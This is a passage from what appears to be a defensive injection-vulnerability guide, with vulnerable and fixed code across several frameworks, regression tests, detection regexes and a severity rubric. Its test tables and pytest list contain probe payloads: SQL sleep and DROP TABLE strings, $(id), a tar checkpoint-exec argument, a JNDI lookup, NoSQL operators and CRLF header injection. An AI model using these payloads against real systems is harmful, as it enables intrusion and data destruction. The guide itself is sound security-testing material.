',",; --,{{7*7}},${jndi:ldap://x/a},{"$ne":1},$(id),--checkpoint-action=exec=id,%0d%0aX: y. - Assert whether payload bytes survive unescaped into the captured statement/argv/header block — survival equals constructability proven.
- For query builders, execute the constructed statement against a throwaway in-process SQLite DB: a quote-induced syntax error proves your character crossed from data into SQL grammar.
- Attach the recorded chain (source→sink file:line plus captured artifact) to the finding as the substitute for dynamic observation.
Remediation
Class 1 — SQL: parameterize values, allowlist identifiers
Node + Express (mysql2):
// VULNERABLE
const sql = `SELECT * FROM users WHERE name = '${req.query.name}' ORDER BY ${req.query.sort}`;
db.query(sql);
// FIXED
const SORTS = { name: "last_name", created: "created_at" }; // FIXED
const col = SORTS[String(req.query.sort)]; // FIXED
if (!col) return res.status(400).json({ error: "bad sort" }); // FIXED
db.query("SELECT * FROM users WHERE name = ? ORDER BY " + col, [String(req.query.name)]); // FIXED
Python + Django:
# VULNERABLE
cur.execute(f"SELECT id, title FROM app_note WHERE owner = '{owner}'")
notes = Note.objects.extra(where=["title LIKE '%%%s%%'" % q])
# FIXED
cur.execute("SELECT id, title FROM app_note WHERE owner = %s", [owner]) # FIXED
notes = Note.objects.filter(title__icontains=q) # FIXED
Note.objects.raw("SELECT * FROM app_note WHERE owner = %s", [owner]) # FIXED if raw unavoidable
Java + Spring:
// VULNERABLE
List<User> out = jdbc.query("SELECT * FROM users WHERE last = '" + last + "'", MAPPER);
Page<User> p = repo.findAll(PageRequest.of(page, size, Sort.by(request.getParameter("sort"))));
// FIXED
List<User> out = jdbc.query("SELECT * FROM users WHERE last = ?", MAPPER, last); // FIXED
Sort s = ALLOWED.containsKey(sort) ? Sort.by(ALLOWED.get(sort)) : Sort.unsorted(); // FIXED
Page<User> p = repo.findAll(PageRequest.of(page, size, s)); // FIXED
PHP (PDO + Laravel):
// VULNERABLE
$rows = $pdo->query("SELECT * FROM users WHERE name = '" . $_GET['name'] . "'");
User::orderByRaw($request->input('sort'))->get();
// FIXED
$st = $pdo->prepare("SELECT * FROM users WHERE name = :name"); // FIXED
$st->execute([":name" => (string)$_GET["name"]]); // FIXED
$map = ["name" => "name", "date" => "created_at"]; // FIXED
User::orderBy($map[$request->input("sort")] ?? "name")->get(); // FIXED
Class 2 — OS command: argv arrays, no shell, guarded arguments
// Node — VULNERABLE
exec(`convert ${userPath} out.png`);
// FIXED
execFile("convert", [path.basename(userPath), "out.png"], { timeout: 10000 }, cb); // FIXED
# Python — VULNERABLE
subprocess.run(f"tar czf {dst} {src}", shell=True)
# FIXED
subprocess.run(["tar", "czf", dst, "--", src], shell=False, check=True, timeout=60) # FIXED
// Java — VULNERABLE
Runtime.getRuntime().exec("tar czf " + dst + " " + src);
// FIXED: ProcessBuilder + reject '-'-leading user tokens when operand expected
new ProcessBuilder(List.of("tar", "czf", dst, "--", src)).start(); // FIXED
// PHP — VULNERABLE
system("tar czf {$dst} {$src}");
// FIXED: argv array without shell; every operand validated/escaped appropriately
$cmd = ["tar", "czf", $dst, "--", basename($src)]; // FIXED
proc_open($cmd, $desc, $pipes); // FIXED
Wrapper guards: pin git -c protocol.ext.allow=never; never let user data become an ssh/curl/rsync option; run converters under a dedicated unprivileged OS account with no sudo rights; set PAGER=cat.
Class 3 — NoSQL: coerce types at the boundary
// VULNERABLE
User.findOne({ email: req.body.email });
// FIXED
const email = String(req.body.email ?? ""); // FIXED
User.findOne({ email }, null, { sanitizeFilter: true }); // FIXED
Ban $where/$function in application code; Redis Lua receives user data only via ARGV/KEYS, never string-built scripts; CouchDB selectors validated against a fixed field allowlist before _find.
Class 4 — Templates: data, never code
- Render user text as a variable:
render_template("hi.html", name=q); deleterender_template_string(q)paths. - Reject user-controlled template names (Thymeleaf view names, FreeMarker loader paths) via fixed enums.
- Editable templates as a product requirement: Jinja2
SandboxedEnvironment, FreeMarker restricted object wrappers with?newbanned, Twig sandbox whitelists, Smarty$security_policyenabled — and re-threat-model escapes each release. - Replace user-owned Python
.formatstrings with concatenation orstring.Template(no attribute access).
Class 5 — eval / EL / JNDI
- Delete eval-family sinks; replace with dispatch tables/maps.
- SpEL:
SimpleEvaluationContext(blocksT()type refs and beans) or remove the parser entirely; upgrade Struts; upgrade Log4j >=2.17.1 with message lookups disabled. InitialContext.lookuponly with hardcoded/allowlisted URLs.
Class 6 — LDAP / XPath
- Escape filter input per RFC 4515 (
* ( ) \NUL); prefer library helpers such as PHPldap_escape(..., LDAP_ESCAPE_FILTER). - XPath: compile expressions with variables (
$name) bound via resolver (JavaXPath, lxml kwargs support this); never string-assemble predicates.
Class 7 — Headers / logs
- Reject CR/LF (and decoded
%0d/%0a) in any header-bound or redirect-target value; use framework redirect APIs plus scheme/host allowlists. - Structured JSON logging encoders; strip control characters from logged fields; never interpolate raw input into log format strings.
Defense-in-depth
- Least-privilege DB accounts per service: no FILE/SUPERUSER (MySQL), no superuser/COPY PROGRAM (Postgres), xp_cmdshell disabled (MSSQL); separate read-only role for reporting paths.
- Disable multi-statement execution where drivers permit (mysqli without MULTI_STATEMENTS flag; PDO
EMULATE_PREPARES=false). - Closed allowlist maps for every identifier splice; never trust raw convenience APIs with request data.
- Central boundary validation (zod/joi/express-validator/DataAnnotations/symfony validator) with scalar-type coercion — eliminates NoSQL type confusion wholesale.
- WAFs are detective controls: assume bypass by double encoding, JSON unicode, HPP, dialect quirks; never accept a WAF as the fix.
- Verbose DB errors off in production; generic error pages; alert on
SLEEP/WAITFOR/pg_sleeppatterns and anomalous latencies. - Rate-limit and lock down authentication surfaces targeted by blind-injection oracles.
Verification & Validation
GIVEN/WHEN/THEN cases (staging/lab):
| Given | When | Then |
|---|---|---|
/search?q= fixed with bound params |
q=x' AND SLEEP(5)-- - |
latency ≈ baseline (<0.3s delta), no 500 |
| Same endpoint | q=o'brien (legit apostrophe) |
row "O'Brien" returned, no error (negative test) |
/items?sort= fixed with allowlist |
sort=name;DROP TABLE items-- |
400 or fallback column; items table intact |
Login fixed with coercion + sanitizeFilter |
body {"email":{"$gt":""},"password":{"$ne":1}} |
401; zero sessions issued |
Export switched to execFile argv |
filename report;id |
no uid= output anywhere; clean exit code |
Legit filename my report 2026.pdf |
passes converter | converts successfully (usability retained) |
| Renderer switched to data binding | input {{7*7}} |
literal text displayed; never 49 |
| Redirect fixed with CR/LF rejection | url=%0d%0aSet-Cookie:%20inj=1 |
no injected header in response |
| Structured log pipeline | UA containing \n |
single JSON event; no forged line |
| LDAP filter RFC4515-escaped | user * then admin)(& |
literal uid lookup; no wildcard match, no parse error |
| XPath variable binding deployed | password ' or '1'='1 |
authentication still requires real match |
Regression-test pseudocode:
PAYLOADS = ["x'", "x' AND '1'='2", "{{7*7}}", "${jndi:ldap://x/a}", '{"$ne":1}',
"; sleep 5", "$(id)", "--checkpoint-action=exec=id", "%0d%0aX: y",
"*)(&", "' or '1'='1"]
@pytest.mark.parametrize("p", PAYLOADS)
def test_injection_regression(p):
r = client.post("/api/search", json={"q": p, "sort": p, "file": p})
assert r.status_code != 500
assert elapsed(r) < 1.0 # no time-based channel
assert extracted_template_result(r) != "49" # SSTI inertness
assert table_intact("items") # no stacked-query damage
def test_legit_still_works():
r = client.post("/api/search", json={"q": "o'brien", "sort": "date", "file": "my report.pdf"})
assert r.status_code == 200 and r.json()["hits"] >= 1
Manual re-test checklist:
- Re-trace every reported source→sink chain; confirm the neutralizer sits between the last propagator and the sink.
- Confirm allowlist maps are closed (unknown key → default/reject), not open dictionaries.
- Confirm fixes cover ALL sibling call sites of each patched sink (grep the function name repo-wide).
- Confirm the patch introduced no new raw/eval/shell API.
- Re-run timing probes (3x) on former time-based channels.
- Verify negative tests (legit special characters) pass — over-strict fixes mangling data are findings too.
- Verify claimed dependency upgrades (Log4j >=2.17.1, Twig, Struts) actually appear in lockfiles/manifests.
Re-run these signatures post-fix (expect hits only inside closed allowlist maps):
(?i)\.(raw|literal|whereRaw|orderByRaw|query)\s*\(\s*[`"'][^`"'"]*(\$\{|\+)
(?i)(execute|query|exec)\s*\(\s*(f["']|[^)]*"\s*\+)
(?i)(render_template_string|from_string|ERB\.new|\beval\s*\(|new Function\s*\(|shell\s*=\s*True|shell:\s*true|execSync|os\.system)
(\\r\\n|%0d%0a)|(\$where|\$function)
Severity Assessment
| Finding class | Primary CWE(s) | Typical impact | Base band |
|---|---|---|---|
| Pre-auth SQLi (union/error/blind) on business DB | CWE-89 | full read/write, auth bypass, DB-feature RCE | Critical |
| Post-auth SQLi on sensitive store | CWE-89 | PII exfiltration | High |
| Hibernate/HQL-specific variant | CWE-564 | as SQLi | High |
| OS command injection (any auth level) | CWE-78 (CWE-77 generic) | server takeover | Critical/High |
| Argument injection into privileged wrapper | CWE-78 | privilege escalation | Critical if root wrapper, else High |
| SSTI with escape path | CWE-1336 | RCE | Critical |
| SSTI sandboxed / info-only (Liquid, Django attr leak) | CWE-1336 | disclosure/DoS | Low-Medium |
| eval/new Function/EL/SpEL/OGNL fed input | CWE-94/95/917 | RCE | Critical |
| JNDI lookup trigger (legacy Log4j) | CWE-917 | RCE via rogue LDAP server | Critical |
| NoSQL operator injection | CWE-943 | auth bypass, enumeration | High |
| LDAP injection | CWE-90 | auth bypass, directory enumeration | High |
| XPath injection | CWE-643 | auth bypass, XML data theft | High |
| Generic interpreter injection catch-all | CWE-74 | varies — remap to specific class above | per class |
| CRLF/response splitting | CWE-74 (+79 delivery) | session fixation, cache poisoning | Medium |
| Log content injection | CWE-117 | forged/obscured audit trail | Low |
Example CVSS v3.1 vectors (adjust metrics per engagement):
- Critical — pre-auth time-based SQLi:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(9.8) - High — authenticated admin-only command injection:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H(7.2) - Medium — reflected CRLF header injection:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N(~5.4) - Low — log-content injection only:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N(3.7)
Mini-rubric:
| Factor | Pushes Critical/High | Pushes Low |
|---|---|---|
| Authentication | none or self-registration | admin-only wrapper, internal tool |
| Effect channel | data read/write, RCE, auth bypass | delay-only blind oracle, cosmetic log noise |
| Sink process privilege | root/DBA/service account | unprivileged user, sandboxed engine |
| Reach | internet-facing | internal behind VPN |
| Data sensitivity | PII/PHI/credentials/secrets | synthetic or public data |
| Compensating controls | none or WAF-only | egress filtering + sandbox + least privilege (lowers severity; still fix) |
Common False Positives
- Value originates from a server-side enum/constant or migration-defined map, not request data — no taint.
- Placeholder already present (
?,:name,$1,@p) and values flow through the driver's binding mechanism; the concat you saw was over the bindings array. - Identifier resolved through a closed allowlist dict before splicing into SQL — safe by construction once closure is verified (missing-key default).
- Numeric contexts hardened by bounded strict casts (
int(x)with range check,Number.isInteger(parseInt(x))) — downgrade rather than dismiss only when bounds are absent. - Raw ORM calls WITH bound params:
raw(sql, params=[x]),find_by_sql([sql, x]), Prisma$queryRawtagged template — safe forms of scary-looking APIs. escapeshellarg-wrapped operands executed without a shell via array-formproc_open/ProcessBuilder— adequate defense (still flag cmd.exe contexts).- LIKE input passing through a real wildcard escaper plus declared
ESCAPEclause. - Mongo filters built from zod/joi-coerced scalars or with
sanitizeFilter:trueactive. - Template receives user text as an autoescaped data variable — not SSTI.
- Test fixtures, seed scripts, and operator-run CLI tools where argv comes from a documented trust boundary — note in report; flag only if that boundary is undocumented.
- WAF/vendor scanner alerts with no corresponding sink in source — verify against code before reporting; WAF hits alone are not findings.
- HTML-entity encoding applied to values already bound as SQL parameters at display time — noisy but harmless; cleanup note only.
References
CWE entries:
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-117: Improper Output Neutralization for Logs
- CWE-564: SQL Injection: Hibernate
- CWE-643: Improper Neutralization of Special Elements in XQuery Expressions (XPath injection practice maps here)
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
- CWE-1336: Improper Neutralization of Special Elements Used for Template Command Construction
OWASP Cheat Sheet Series:
- OWASP Top 10 A03:2021 – Injection — https://owasp.org/Top10/A03_2021-Injection/
- SQL Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- Query Parameterization Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html
- Database Security Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html
- Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
- Injection Prevention Cheat Sheet in Java — https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html
- OS Command Injection Defense Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- Server Side Template Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Template_Injection_Prevention_Cheat_Sheet.html
- LDAP Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html
- Logging Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html